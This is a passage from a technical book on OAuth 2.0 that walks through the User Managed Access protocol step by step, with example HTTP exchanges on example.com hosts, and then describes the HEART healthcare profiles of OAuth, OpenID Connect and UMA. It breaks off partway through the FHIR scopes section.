■  ■ International Government (iGov), a profile of OAuth 2.0 and OpenID  
Connect for government services

As you’ve seen by now, OAuth 2.0 is a powerful protocol, and it’s good at what it 
does: delegation of access rights and communication of that authorization across 
HTTP. OAuth can’t do many things on its own. If you need to go beyond what 
OAuth offers, it’s a valuable tool in the toolbox, but it’s not the only tool at your 
disposal. OAuth is a versatile building block in more complex systems.

In chapter 13, we looked at one major use case, user authentication, and a stan-
dard protocol built on top of OAuth that performs that function, OpenID Connect. 
In this chapter, we’re going to look at several additional protocols and profiles of 
OAuth 2.0 that build advanced capabilities on this robust base. First we’ll look at 
an application of OAuth that extends OAuth’s capabilities to allow for user-to-user 
sharing and dynamic consent management. Then we’ll look at a pair of efforts to 
profile OAuth and related protocols for specific domains, and how those efforts 
relate to the wider world. Note well: at the time of this writing, these specifications 
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are in flux and the final (or current) versions are likely to be a little different by the 
time you read this. We should also note that one of your authors is heavily involved in 
all three of these standardization and profiling efforts.

14.1	 User Managed Access (UMA)
UMA1 is a protocol built on top of OAuth 2.0 that allows the resource owner rich 
control over access to their resources through the use of an authorization server of 
the resource owner’s choosing, either to software that they control or to software that 
another user may control. The UMA protocol allows for two main functions to be built 
on top of OAuth 2.0: user-to-user delegation, and handling of multiple authorization 
servers per resource server.

In other words, where OAuth 2.0 allows a resource owner to delegate to client soft-
ware to act on their behalf, UMA allows a resource owner to delegate to another user’s 
client software to act on that other user’s behalf. Colloquially, OAuth enables Alice-to-
Alice sharing (since Alice is running the client herself), whereas UMA enables Alice-
to-Bob sharing. UMA additionally allows Alice to bring her own authorization server 
and introduce it to the resource server. Bob’s client can discover Alice’s authorization 
server once it tries to access Alice’s resources.

UMA manages this trick by changing the relationships between traditional 
OAuth roles and defining a brand-new role in the process: the requesting party 
(RqP).2 The resource owner manages the relationship between the authorization 
server and the resource server, setting up policies that allow third parties access 
to the resource. The client, in the control of the requesting party, can request an 
access token by presenting information about itself and about the requesting party 
in order to fulfill the requirements set by the resource owner. The resource owner 
doesn’t interact with the client at all, and instead delegates access to the requesting 
party (figure 14.1).

Yes, the UMA dance is a fair shade more complex than the OAuth dance that we 
covered in chapter 2, but that’s because it’s solving a more complex problem. The 
protection API half of UMA is under the direction of the resource owner, whereas the 
authorization API half of UMA is under the direction of the requesting party. Each 
party and component has a part to play in the UMA dance. 

14.1.1	Why UMA matters

Before we look in depth into how it works, why should you care about UMA? UMA’s 
abilities to manage user-to-user sharing and user-controlled authorization servers set it 
apart from nearly every other protocol in the internet security space today. Although 
this makes UMA a fairly complex multistep protocol with many parties and moving 

1 � https://docs.kantarainitiative.org/uma/rec-uma-core-v1_0.html
2 � Not to be confused with the relying party (RP) from chapter 13. The RqP is usually a person, whereas 

the RP is usually a computer. Yes, we know it’s a little confusing.
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parts, it also makes it a powerful protocol that can address problems unreachable by 
others technologies.

For a concrete look at things, let’s go back to our photo-printing example. What if 
instead of Alice printing her own photos using a third-party service, Alice’s best friend 
Bob wants to print some of their shared concert photos stored on Alice’s account? 
First, Alice can tell her photo-printing service to use her own personal authorization 
server. This gives Alice the ability to set up a policy with her authorization server that 
says, in effect, “When Bob shows up, he can read any of these photos.” This type of 
access control is relatively common, but in UMA the rights given to Bob also extend to 
a piece of software that Bob is running on his behalf. In this scenario, Bob has his own 
account at a cloud-printing service, which he points at Alice’s photos. Alice’s authoriza-
tion server then asks Bob to prove who he is using a set of claims. As long as what Bob 
can provide matches what Alice’s policy requires, Bob’s printer service can gain access 
to the photos that Alice has shared with Bob, all without Bob needing to impersonate 
Alice. Bob also doesn’t necessarily need to be able to log in to Alice’s authorization 
server, and he certainly doesn’t need an account at Alice’s photo-sharing site.

With this setup, the resource owner can allow a requesting party to access resources 
even if the resource owner isn’t present at the time of the request. As long as the client 

Resource 
Owner

Requesting 
Party

Authorization
Server

Protection API Authorization API

Protected
Resource

Client

Figure 14.1  Components of the UMA protocol
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can satisfy the demands in the policy of the resource in some fashion, it will be able to 
get a token on behalf of the requesting party. This token can be used at the resource 
server just like any other OAuth access token, except that now the resource server will 
be able to see the full chain of delegation from the resource owner to the requesting 
party to the client and make authorization decisions based on that.

Although UMA can work in a static world in which all parties know each other, UMA 
can allow components to be introduced at runtime under the guidance of authorized 
parties. By allowing the resource owner to bring their own authorization server, UMA 
sets the stage for a truly user-centric information economy, where end users have a say 
in not only which services can act on their behalf but also which other parties—users 
and software alike—can access their data. 

UMA also defines a means for the resource server to register references to the 
resources it protects at the authorization server. These are known as resource sets and 
represent bundles of protected resources that can be attached to policies and accessed 
by clients. For example, Alice’s photo service can register a resource set for Alice’s vaca-
tion photos, another for Alice’s private photos, and yet another for information about 
Alice’s account overall. Each of these resource sets can have separate policies that let 
Alice determine who can use which piece of information. The resource set registration 
protocol is roughly analogous to the dynamic client registration protocol we covered 
in chapter 12. Interestingly enough, dynamic client registration can also trace some of 
its roots to UMA, where the problem of introducing new clients to authorization serv-
ers at runtime was more immediate.

Where OAuth pushed the boundaries of what was acceptable security policy by 
letting end users make runtime decisions within an ecosystem, UMA is pushing the 
boundaries of what is inside that ecosystem to begin with. What’s allowed by policy 
always lags behind what is possible with technology, but UMA’s capabilities are proving 
a powerful draw and are beginning to push the conversation forward about what kind 
of security is possible.

14.1.2	How the UMA protocol works

Let’s take a look at a concrete UMA protocol transaction from start to finish. As you 
saw in chapter 6, OAuth is a protocol with many options and extensions. As a protocol 
built on OAuth, UMA inherits all of that optionality and adds more of its own on top of 
that. We could easily spend several chapters, if not a whole book, to cover it in depth.3 
Although we don’t have the time or space to thoroughly explore this complex protocol, 
we can at least give a reasonable overview here. In this example, we’re going to assume 
a full cold boot situation, where none of the services knows about each other ahead of 
time and everything needs to be introduced. We’re going to be using service discovery 
and dynamic client registration where needed to introduce components to each other, 
instead of relying on manual registration. Where UMA uses more traditional OAuth 

3 � If you like that idea, please contact our publisher and tell them so.
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tokens, we’re going to be using the authorization code flow that we covered in depth 
in chapter 2. We’re also going to be simplifying some parts of the process to ease expla-
nation and understanding, eliding over some details and bypassing some parts of the 
protocol that are underspecified or under active review by the working group. Finally, 
although UMA 1.0 has been finalized, the specification is still in active development by 
the community and many of the concrete examples here (and some of the architectural 
assumptions) might not apply to future versions of the protocol. With those assump-
tions in mind, the overall UMA dance looks like  what is shown in figure 14.2.

Let’s take a walk through each of the major steps in figure 14.2 in greater detail. 
Each paragraph is numbered to correspond with the same section of the sequence 
diagram there.

1. The resource owner introduces the resource server to the authorization server. 
The way that this happens is out of scope for the UMA protocol, but there are some 
provisions for how it might happen. In a tightly bound UMA ecosystem, the resource 
owner might be able to pick the authorization server from a list. In a more widely dis-
tributed space such as the internet, the resource owner can give the protected resource 
their WebFinger ID to allow discovery of their personal authorization server, much like 
you saw happen with identity server discovery in chapter 13. Somehow, though, the 
resource server ends up with a URL for the authorization server known as its issuer URL.

2. The resource server discovers the authorization server’s configuration and reg-
isters as an OAuth client. Like OpenID Connect covered in chapter 13, UMA pro-
vides a service discovery protocol that allows other components in the system to 
discover vital information about the authorization server. The discovery information is 
hosted at a URL based on the authorization server’s issuer URL, with /.well-known/ 
uma-configuration appended to it, and its contents are a JSON document with infor-
mation about the UMA authorization server.

{

  "version":"1.0",

  "issuer":"https://example.com",

  "pat_profiles_supported":["bearer"],

  "aat_profiles_supported":["bearer"],

  "rpt_profiles_supported":

  ["https://docs.kantarainitiative.org/uma/profiles/uma-token-bearer-1.0"],

  "pat_grant_types_supported":["authorization_code"],

  "aat_grant_types_supported":["authorization_code"],

"claim_token_profiles_supported":["https://example.com/claims/formats/

token1"],

  "dynamic_client_endpoint":"https://as.example.com/dyn_client_reg_uri",

  "token_endpoint":"https://as.example.com/token_uri",

  "authorization_endpoint":"https://as.example.com/authz_uri",

"requesting_party_claims_endpoint":"https://as.example.com/rqp_claims_uri"  ,

"resource_set_registration_endpoint":"https://as.example.com/rs/rsrc_uri",

  "introspection_endpoint":"https://as.example.com/rs/status_uri",

  "permission_registration_endpoint":"https://as.example.com/rs/perm_uri",

  "rpt_endpoint":"https://as.example.com/client/rpt_uri"

} 
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Figure 14.2  The UMA protocol in detail
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This information includes things such as the authorization endpoint and token 
endpoint for OAuth transactions as well as UMA-specific information such as where 
to register resource sets, used in a future step. Notice that, like OAuth and OpenID 
Connect, UMA requires TLS to protect the HTTP transactions throughout the entire 
protocol.

The resource server can then register itself as an OAuth client using dynamic 
client registration, which we covered in detail in chapter 12, or register using 
some kind of out-of-band static process. Ultimately, this is like any other OAuth 
client, and the only UMA-specific aspect of this step is that the resource server 
needs to be able to obtain tokens with the special scope of uma_protection. These 
tokens are used to access special functionality at the authorizations server in the 
next steps.

3. The resource owner authorizes the resource server. Now that the resource 
server is acting in the capacity of an OAuth client, it needs to be authorized by the 
resource owner like any other OAuth client. As with OAuth, there are many options 
that end in the resource server getting an access token with the appropriate rights, 
but since this is action taken directly on behalf of the resource owner, it’s common 
to use an interactive OAuth grant type such as the authorization code flow to accom-
plish this. 

The access token that the resource server obtains from this process is known as 
the protection API token, or PAT. The PAT needs to have at least a scope of uma_
protection, but it could have other scopes associated with it as well. The resource 
server uses the PAT to manage protected resources, request permission tickets, and 
introspect tokens. These actions are collectively known as the protection API and the 
authorization server provides them.

It is important, and confusing, to realize at this point that the protected resource is 
now acting as the OAuth client and the authorization server is acting as the protected 
resource through its protection API. But remember, this is not that unreasonable, 
since each component of the OAuth ecosystem is a role that can be played by different 
pieces of software at different times. The same software can easily act as both a client 
and protected resource, for example, depending on what the overarching API is trying 
to do.

4. The resource server registers its resource sets with the authorization server. 
The authorization server now needs to be told about the resources that the resource 
server is protecting on behalf of the resource owner. The resource server registers 
its resource sets in a protocol analogous to the dynamic client registration protocol. 
Using the PAT as authorization, the resource server sends an HTTP POST message 
with details about each of the resource sets that it wants to protect to the resource set 
registration URI.

POST /rs/resource_set HTTP/1.1

Content-Type: application/json

Authorization: Bearer MHg3OUZEQkZBMjcx
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{

  "name" : "Tweedl Social Service",

  "icon_uri" : "http://www.example.com/icons/sharesocial.png",

  "scopes" : [

    "read-public",

    "post-updates",

    "read-private",

    "http://www.example.com/scopes/all"

  ],

  "type" : "http://www.example.com/rsets/socialstream/140-compatible"

}

These details include a display name, an icon, and most important a set of OAuth 
scopes that are associated with the resource set. The authorization server assigns 
a unique identifier to the resource set and returns it along with a URL where the 
resource server can send the resource owner to interactively manage policies associ-
ated with this resource set.

HTTP/1.1 201 Created

Content-Type: application/json

Location: /rs/resource_set/12345

{

  "_id" : "12345",

  "user_access_policy_uri" : "http://as.example.com/rs/222/resource/333/

policy"

}

The Location header contains a URL for managing the resource set registration itself 
using a RESTful API pattern. By using HTTP GET, PUT, and DELETE verbs along with the 
POST verb, the resource server can read, update, and remove its resource sets, respectively.  

5. The resource owner sets policies pertaining to the resource sets with the authori-
zation server. The resource set is now registered, but no one has said anything about 
how it can be accessed. Before any client can request access to the resource set, the 
resource owner needs to set policies on the resources to indicate who can access the 
resource and under what circumstances. The nature of these policies is completely out 
of scope for UMA, as there are nearly infinite ways that a policy engine could be written 
and configured. Common options could include date ranges, user identifiers, or limits 
on the number of times a resource can be accessed. 

Each of these policies can also be associated to a subset of the scopes possible for 
each resource set, offering the resource owner a rich way to express their sharing 
intentions. For example, the resource owner could decide that any user with an email 
address from their family’s domain can read all of their photos, but only certain identi-
fied individuals would be able to upload new photos. 

In the end, it comes down to the requesting party and their client being able to 
present a set of claims that fulfill the requirements of the policies that have been con-
figured. Importantly, a resource set with no policy on it needs to be considered inacces-
sible until an appropriate policy has been configured. This restriction prevents a naïve 
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authorization server failing in an open state, where their resource would be made inad-
vertently available to anyone who asked. After all, if I have a resource with no required 
claims set to it, doesn’t that mean I can fulfill all of the policies and get a token by 
presenting no claims at all?4

Once the policies have been set up, the resource owner generally exits the picture 
and the requesting party begins their half of the UMA dance. It’s possible that the 
authorization server has an advanced runtime policy engine that allows the resource 
owner to be prompted for authorization when someone else, the requesting party, 
attempts to access their resource. We’re not showing that mechanism here, however.

6. The requesting party directs the client to access the resource server. This step 
is analogous to the start of a normal OAuth transaction in which the resource owner 
instructs their client to access something on their behalf. As in OAuth, the means by 
which the client learns the URL of the protected resource or the knowledge required 
to access the API protected there is outside the scope of the specification. Unlike in 
OAuth, though, the requesting party is directing the client application to access a 
resource controlled by someone else, and the client might not know where the associ-
ated authorization server is.

7. The client requests the protected resource. The client starts the process by mak-
ing a request without sufficient authorization for the resource. Most commonly, this is 
going to be a request with no access token. 

GET /album/photo.jpg HTTP/1.1

Host: photoz.example.com

When we discussed different scope patterns in chapter 4, we saw that OAuth can be 
used to protect many different styles of API because the access token gives additional 
context to the request, such as an identifier for the resource owner or the scopes asso-
ciated with it. This lets the protected resource serve different information depending 
on the data associated with the access token, such as serving different user information 
from a single URL or serving subsets of information based on the scopes associated 
with the token and the user who authorized the token. In OpenID Connect, this fea-
ture of OAuth allows the UserInfo endpoint to be a single URL to serve all identities 
on the server without leaking user identifiers to the client ahead of time, as we saw 
in chapter 13. In UMA, the resource server needs to be able to tell from the context 
of this initial HTTP request which resource set the client’s request is attempting to 
access, and therefore which resource owner and which authorization server are being 
represented. We don’t have an access token to help us make this decision, so we can 
only look at the URL, headers, and other parts of the HTTP request. This restriction 
effectively limits the types of APIs that UMA can be used to protect to those that dif-
ferentiate resources based on URLs and other HTTP information. 

8. The resource server requests a permission ticket from the authorization server to 
represent the requested access and hands that ticket to the client. Once the resource 

4 � Yes, this was a real bug in a real implementation. No, I don’t want to talk about it.
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server knows which resource set the request is attempting to access, and therefore 
which authorization server is associated with that resource set, the resource server 
requests a permission ticket to represent the access request by sending an HTTP 
POST message to the authorization server’s permission ticket registration endpoint. 
This request contains the identifier of the resource set as well as a set of scopes that 
the resource server thinks would be appropriate for access, and is authorized by the 
PAT. The scopes in this request can be a subset of those on the resource set, allowing a 
resource server to potentially limit the client’s access as it sees fit. Of course, the client 
could be capable of more actions than what’s obvious from this initial request, but the 
resource server has no way of guessing that a priori.

POST /tickets HTTP/1.1

Content-Type: application/json

Host: as.example.com

Authorization: Bearer 204c69636b6c69

{

  "resource_set_id": "112210f47de98100",

  "scopes": [

      "http://photoz.example.com/dev/actions/view",

      "http://photoz.example.com/dev/actions/all"

  ]

}

The authorization server makes sure that the PAT represents the same resource server 
that registered the resource set in the first place, and that the scopes requested are all 
available on that resource set. The authorization server then creates and issues a permis-
sion ticket, sending it back to the resource server as a string in a simple JSON object.

HTTP/1.1 201 Created

Content-Type: application/json

{

"ticket": "016f84e8-f9b9-11e0-bd6f-0021cc6004de"

}

The resource server doesn’t have to keep any reference to these tickets or man-
age them, as they’re handles for the client to interact with the authorization server 
throughout the UMA process. The authorization server will automatically expire and 
revoke them as necessary.

9. The resource server returns the ticket to the client along with a pointer to the 
authorization server. Once it has the ticket, the resource server can finally respond 
to the client’s request. The resource server uses the special WWW-Authenticate: UMA 
header to give the client the ticket as well as the issuer URL of the authorization server 
protecting this resource.

HTTP/1.1 401 Unauthorized

WWW-Authenticate: UMA realm="example",

  as_uri="https://as.example.com",

  ticket="016f84e8-f9b9-11e0-bd6f-0021cc6004de"
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Do I need a token to get a token?

In the 1.0 version of UMA, the client also needs to get an OAuth access token 
known as the authorization access token, or AAT. The intent of this token is to bind 
the requesting party to the client and the authorization server, in much the same 
way the PAT functions on the other side of the system. However, since the RqP 
can be required to present claims interactively in a future step of the process, 
this binding is not strictly necessary. Furthermore, in order to authorize an AAT, 
the RqP needs to be able to log in to the authorization server and authorize a cli-
ent to get a token with a special scope, uma_authorization. However, the RqP 
isn’t guaranteed to have any relationship with the authorization server, only the 
resource owner is, and therefore the RqP can’t be expected to be able to pursue 
normal OAuth transactions. For these and other reasons, future versions of the 
UMA protocol may do away with the AAT and we’ve minimized its importance in 
our discussion. Future versions of the UMA protocol may use different mecha-
nisms to represent and carry the RqP’s consent in part of the process.

The only part of this response dictated by the UMA protocol is the header, and the rest 
of the response, including the status code, body, and other headers, are up to the pro-
tected resource. In this way, a resource server is free to serve publicly available informa-
tion alongside the indicator telling the client how to obtain a higher level of access. Or, 
if the client did present an access token in its initial request but the token did not have 
the full set of available access rights associated with it, the resource server can serve 
content appropriate for the level of access that the client presented while indicating 
that the client could attempt to step up its access. In our example, the client sent no 
token and no public information was available on the API, so the server returned an 
HTTP 401 code with the header.

10. The client discovers the authorization server’s configuration and registers with 
it. As with the resource server, the client needs to find out where the authorization 
server is and how to interact with it during the next steps. Since the process here is 
parallel, we won’t copy its details. At the end of the process, the client has its own set of 
credentials that it can use to interact with the authorization server, distinct from those 
used by the protected resource. 

11. The client presents the ticket to the authorization server to get an access token. 
This process is analogous to a client presenting an authorization code in the authori-
zation code grant type, but using the ticket gathered from the resource server as the 
temporary limited credential. The client sends an HTTP POST message to the autho-
rization server that includes the ticket as a parameter.

POST /rpt_uri HTTP/1.1

Host: as.example.com

Authorization: Bearer jwfLG53^sad$#f

{

"ticket": "016f84e8-f9b9-11e0-bd6f-0021cc6004de"

}
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The authorization server examines the ticket to find out which resource set the request 
is associated with. Once the resource set is known, the authorization server can deter-
mine the policies associated with the resource set, and therefore which claims the cli-
ent is going to need to present in order to obtain the access token. Since the ticket has 
just been created in our example, the authorization server determines that it doesn’t 
have sufficient claims associated with it in order to fulfill the policies. The authoriza-
tion server sends back an error response to the client indicating that the client needs 
to gather some claims and prove to the authorization server that both the requesting 
party and the client itself should be allowed access.

HTTP/1.1 403 Forbidden

Content-Type: application/json

Cache-Control: no-store

{

 "error": "need_info",

 "error_details": {

   "authentication_context": {

     "required_acr": ["https://example.com/acrs/LOA3.14159"]

   },

   "requesting_party_claims": {

     "required_claims": [

       {

         "name": "email23423453ou453",

         "friendly_name": "email",

         "claim_type": "urn:oid:0.9.2342.19200300.100.1.3",

         "claim_token_format": 

["http://openid.net/specs/openid-connect-core-1_0.html#HybridIDToken"],

         "issuer": ["https://example.com/idp"]

       }

     ],

     "redirect_user": true,

     "ticket": "016f84e8-f9b9-11e0-bd6f-0021cc6004de"

   }

 }

}

This example response contains a set of hints about the kinds of claims the client 
might want and where to gather them, in this case OpenID Connect claims from the 
given OpenID Connect issuer.

12. The client gathers claims and submits them to the authorization server. At this 
stage, the client can do a few different things to get the authorization server what it’s 
asking for. The details of the claims-gathering process are left intentionally vague by 
the UMA protocol in order to allow for a wide variety of situations and circumstances 
to use it. 

If the client has the claims already, and in a format verifiable by the authorization 
server, then it can send them directly in another request for the token.

POST /rpt_authorization HTTP/1.1

Host: www.example.com

Authorization: Bearer jwfLG53^sad$#f
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{

    "rpt": "sbjsbhs(/SSJHBSUSSJHVhjsgvhsgvshgsv",

    "ticket": "016f84e8-f9b9-11e0-bd6f-0021cc6004de",

    "claim_tokens": [

      {

        "format":

"http://openid.net/specs/openid-connect-core-1_0.html#HybridIDToken",

        "token": "..."

      }

    ]

}

This approach works well when the client is presenting claims about itself or the 
organization that has deployed the client software. An authoritative party can sign 
these kinds of claims so that the authorization server can verify and validate them 
directly. It’s less helpful if the client needs to submit information about the requesting 
party, since the relationship between the requesting party and the client is undefined, 
though even this is possible if there’s a strong trust relationship between the client and 
the authorization server. 

If instead the client needs to have the requesting party submit claims, such as their 
identity, then the client redirects the requesting party to the claims-gathering endpoint 
of the authorization server. The client includes its own client ID, the ticket value, and 
a URI to redirect to after the claims have been gathered. 

HTTP/1.2 302 Found

Location: https://as.example.com/rqp_claims?client_id=some_client_id&state=abc

&claims_redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fredirect_

claims&ticket=016f84e8-f9b9-11e0-bd6f-0021cc6004de

At this endpoint, the requesting party can interact with the authorization server directly 
to provide the required claims. This process is once again left open to interpretation 
in the UMA specification, but in our example the requesting party is going to log in to 
the authorization server using their OpenID Connect account. The UMA authoriza-
tion server is now acting as an OpenID Connect relying party,5 giving the authorization 
server access to the requesting party’s identity information, which can be used to fulfill 
the policy requests.

When the authorization server is satisfied by the claims-gathering process, it redi-
rects the requesting party back to the client to signal a continuation of the process.

HTTP/1.1 302 Found

Location: https://client.example.com/redirect_claims?&state=abc

&authorization_state=claims_submitted

This process uses front-channel communication between the client and the authoriza-
tion server, as with the authorization endpoint in regular OAuth discussed in chapter 2. 
However, the redirect URI used here is distinct from that used for the authorization 
code or implicit grant types.

5 � This means that our UMA authorization server is now variously playing the role of an OAuth 
authorization server, protected resource, and client in support of this crazy ride.
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Whichever process is used to submit the claims, the authorization server associates 
the claims with the ticket. The client still needs to submit the ticket again to get a 
token.

13. The client presents the ticket again and tries to get a token. This time it works 
since the ticket now has associated with it a set of claims that satisfy the policies on the 
resource set. These policies also map to a subset of scopes, allowing the authorization 
server to determine the final access rights of the resulting token. The authorization 
server issues the token back to the client in a JSON document, analogous to the return 
from OAuth’s token endpoint. 

HTTP/1.1 200 OK

Content-Type: application/json

{

  "rpt": "sbjsbhs(/SSJHBSUSSJHVhjsgvhsgvshgsv"

}

Finally, the client has its access token and can try getting that resource again. 
As in  OAuth, the content and format of the token itself is completely opaque to 
the client.

14. The client presents the access token to the resource server. The client once 
again calls the protected resource, but this time it includes the token it just received 
from the authorization server.

GET /album/photo.jpg HTTP/1.1

Host: photoz.example.com

Authorization: Bearer sbjsbhs(/SSJHBSUSSJHVhjsgvhsgvshgsv

This request is an absolutely standard OAuth bearer token request, and there’s noth-
ing UMA specific about it. The client had to do a few special things to get to this point, 
but now it can act like any other OAuth client.

15. The protected resource determines what the token is good for. Now that the 
protected resource has received the token from the client, the resource server needs 
to figure out whether the token presented is good for what the client is trying to do. 
However, by the design of the UMA protocol, the resource server is separated from the 
authorization server, which makes any kind of local lookup of the token information 
impossible to count on. 

Thankfully for us, we’ve already covered the two most common methods of connect-
ing a protected resource to an authorization server in chapter 11: JSON Web Tokens 
(JWT) and token introspection. Since UMA is a network-based protocol and the autho-
rization server is expected to be online at runtime to respond to network queries, it is 
much more common to use token introspection in this step, so we’ll look at that here. 
The request from the resource server is identical to those that we’ve already examined, 
except that instead of using its client credentials it authorizes the call using the PAT. 
The response from the server is slightly different, as UMA extends the introspection 
response data structure with a permissions object that contains detailed information 
about the permissions that have been fulfilled in order to issue the token. 
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HTTP/1.1 200 OK

Content-Type: application/json

Cache-Control: no-store

   {

    "active": true,

    "exp": 1256953732,

    "iat": 1256912345,

    "permissions": [

      {

        "resource_set_id": "112210f47de98100",

        "scopes": [

          "http://photoz.example.com/dev/actions/view",

          "http://photoz.example.com/dev/actions/all"

         ],

        "exp" : 1256953732

      }

    ]

   }

The token itself could be good for multiple resource sets and multiple permissions 
sets, depending on the setup of the policy engine on the authorization server. The 
resource server needs to determine whether the token has the correct rights associ-
ated with it to fulfill the request at hand. As with OAuth, it’s entirely up to the resource 
server to decide whether the token is good enough. If the token doesn’t have the cor-
rect rights, the resource server can repeat the process of registering a permission ticket 
and handing it back to the client to start the process over again. A client responding to 
such an error message would behave as it had previously and fetch a new token.

16. Finally, the resource is returned to the client. As in OAuth, once the protected 
resource is satisfied by the incoming token, it returns the response appropriate to the 
API that it has been protecting.

HTTP/1.1 200 OK

Content-Type: application/json

{

  "f_number": "f/5.6",

  "exposure": "1/320",

  "focal_length_mm": 150,

  "iso": 400,

  "flash": false

}

This response can be any HTTP response, and it could also include another WWW-
Authenticate: UMA header to indicate that if the client wants to get additional access, 
it can attempt to do so. 

Throughout the entire process, neither the resource owner’s credentials nor the 
requesting party’s credentials were revealed to the resource server or the client. Addi-
tionally, sensitive personal information about either party has not been disclosed 
between them. The requesting party need only prove whatever minimum amount is 
required to fulfill the policies set by the resource owner. 
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14.2	 Health Relationship Trust (HEART)
As we’ve seen throughout this book, and as we’re sure you’ve seen in the real world, 
OAuth can be used to protect a wide variety of protocols and systems. However, the 
large amount of flexibility and optionality makes it difficult to ensure interoperability 
and compatibility across different deployments. As discussed in chapter 2, this tends 
not to be a problem when dealing with different APIs and providers. However, if you’re 
working in a single sector, such as healthcare, it’s likely you’ll be working with a com-
mon set of APIs. Here, it’s more valuable to have a limited set of good options and 
clear guidance for deployments. This way, clients from one vendor can work out of the 
box with authorization servers from another vendor and protected resources from yet 
a third.

The OpenID Foundation’s Health Relationship Trust6 (HEART) working group 
was founded in 20157 to address the particular needs of the electronic health sys-
tem community. The goal of the working group is to provide profiles of existing 
technology standards that are suitable for healthcare use cases while, wherever pos-
sible, retaining compatibility with widely available standards with general applicabil-
ity. The HEART working group is building on top of OAuth, OpenID Connect, and 
UMA. By locking down optional features and codifying best practices, HEART seeks 
to promote both higher security and greater interoperability between independent 
implementations.

14.2.1	Why HEART matters to you

The HEART profiles are among the first of a set of standards that increase both secu-
rity and interoperability within a given sector, in this case healthcare. This type of 
profiling is likely to become increasingly common as more industries move to an API-
first ecosystem, and in the future you might be required to ensure that something is 
“HEART-compliant” in addition to being able to implement OAuth properly.

In contrast to many past efforts of digitizing aspects of healthcare, HEART explicitly 
places decision capability and control in the hands of end users, particularly patients 
and their healthcare providers. Instead of centralizing data, control, and security deci-
sions, HEART envisions and creates a landscape in which data can be securely dis-
tributed and connected at the behest of the producers and consumers of the data. 
A patient should be able to bring their own application and connect to their health 
records, whether or not their healthcare provider and the application developer have 
ever heard of each other. As health data is extremely personal and sensitive, security is 
of the utmost importance.

In order to accomplish this, HEART defines a set of technical profiles that raise 
the baseline of both security and interoperability between components in an OAuth 
ecosystem. These profiles are being driven by use cases and requirements that are 

6 � http://openid.net/wg/heart/
7 � One of your authors was a founding member of the working group.
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potentially educational to all you OAuth practitioners reading this book. And if you’re 
a member of a health IT team, you should really be paying close attention there.

14.2.2	The HEART specifications

A suite of specifications defines HEART’s ecosystem, each specification covering a dif-
ferent part of the technology stack. These specifications are a conformant subset of the 
protocols they profile, meaning they don’t allow or require anything illegal in the 
underlying protocols, but in many cases they require components that were previously 
optional or add new optional functionality using existing extension points in a compat-
ible fashion. In other words, a HEART-compliant OAuth client is also a fully compli-
ant OAuth client, but a general OAuth client might not support all the features and 
options required by HEART.

Now, it’s entirely probable that many of the readers of this book will never call or 
deploy a healthcare-related API. As a consequence, you might be thinking, “So what?” 
There are two ideas to take away here. First, HEART wraps the standard API and the 
security technology together in such a way that they’re immediately usable together, 
regardless of the source implementation. This is an important pattern to observe 
regardless of the sector in which the technology is found. Second, many of the profil-
ing decisions made in HEART are useful outside of the healthcare space. 

To accommodate this, HEART is built along two distinct dimensions: mechanics 
and semantics. This division is intended to allow HEART to have a reach far out-
side the healthcare community while still maintaining direct applicability within it. 
We’ll cover each of these dimensions and the associated specifications in the next 
sections. 

14.2.3	HEART mechanical profiles

The three mechanical specifications are built on top of OAuth, OpenID Connect, and 
UMA. These three profiles aren’t specific to any particular kind of API, and they’re 
in no way healthcare specific. Consequently, these profiles can be used in a variety of 
circumstances in which higher security and interoperability are desired. The mechani-
cal profiles also build on each other, much the same way that the protocols they’re 
profiling build on each other: the OpenID Connect profile inherits directly from the 
OAuth profile, whereas the UMA profile inherits from both the OAuth profile and the 
OpenID Connect profile. 

The HEART profile of OAuth differs from core OAuth in several ways. First, since 
the profile doesn’t need to fit as wide a set of use cases as does OAuth itself, it 
can contain clear guidance on which kinds of OAuth grant types should be used 
for which kinds of clients. For instance, only in-browser clients are allowed to use 
the implicit grant type, whereas only back-channel server applications dealing with 
bulk operations are allowed to use the client credentials grant type. HEART notably 
removes client secrets from all clients and instead requires all clients, regardless of 
grant type, to register a public key with the authorization server. This key is used by 
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any clients that authenticate to the token endpoint (using the authorization code 
or client credentials grant types) and is available for any other protocol uses. These 
decisions increase the baseline security of the entire ecosystem at the cost of slightly 
increased complexity for all parties. However, the keys and their use aren’t unique 
to HEART: the key format is JOSE’s JWK as discussed in chapter 11 and the JWT-
based authentication is defined by OpenID Connect, as we briefly mentioned in 
chapter 13.

HEART OAuth authorization servers are also required to support both token 
introspection and token revocation (we covered both of these in chapter 11), as well 
as provide a standardized service discovery endpoint (based on the one you saw in 
chapter 13). All tokens that are issued from a HEART OAuth authorization server 
are asymmetrically signed JWTs (which you saw in chapter 11) with required claims 
and lifetimes specified by the profile. The HEART profile also requires that dynamic 
client registration (covered in chapter 12) be available at the authorization server, 
though of course clients can still be registered manually or use software statements. 
This set of capabilities allows clients and protected resources to depend on core func-
tions being available across a wide array of implementations, allowing for true out-of-
the-box interoperability.

HEART OAuth clients are required to always use the state parameter with a mini-
mum amount of entropy, which immediately closes a number of session fixation attacks 
as discussed in chapter 7. Clients are also required to register their full redirect URIs, 
which are compared using exact string matching at the authorization server, as dis-
cussed in chapter 9. These requirements codify best practices to increase security and 
give developers a set of capabilities to depend on. 

The HEART profile of OpenID Connect explicitly inherits all of the requirements and 
features of the OAuth profile, which helps keep the delta to implement OIDC on top 
of OAuth small. In addition, the HEART OIDC profile requires the identity provider 
(IdP) to always sign ID tokens asymmetrically as well as offer the output of the UserInfo 
endpoint as an asymmetrically signed JWT in addition to the unsigned JSON used by 
default in OIDC. Since all clients are required to register their own keys, the IdP is 
also required to offer optional encryption for all of these JWTs. The IdP has to be able 
to take requests using the OIDC request object, using the client’s keys to validate the 
request. 

The HEART profile of UMA selects specific components from UMA’s potential exten-
sion points while inheriting from the other two mechanical HEART profiles. For 
example, all of the RPTs and PATs inherit the HEART requirements for OAuth access 
tokens, and are therefore signed JWTs that are also available for token introspection. 
Authorization servers are required to support gathering of requesting party claims 
through the use of interactive OpenID Connect login, which is itself conformant with 
the HEART OIDC profile. The HEART profile also mandates that dynamic resource 
registration be available at the authorization server in addition to dynamic client 
registration.
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14.2.4	HEART semantic profiles

The two semantic profiles are healthcare specific and focus on the use of the Fast 
Healthcare Interoperable Resources (FHIR)8 specifications. FHIR defines a RESTful 
API for sharing healthcare data, and HEART’s semantic profiles are designed to secure 
it in a predictable manner. 

The HEART profile of OAuth for FHIR defines a standard set of scopes that are used to 
provide differential access to FHIR resources. The HEART profile divides the scopes of 
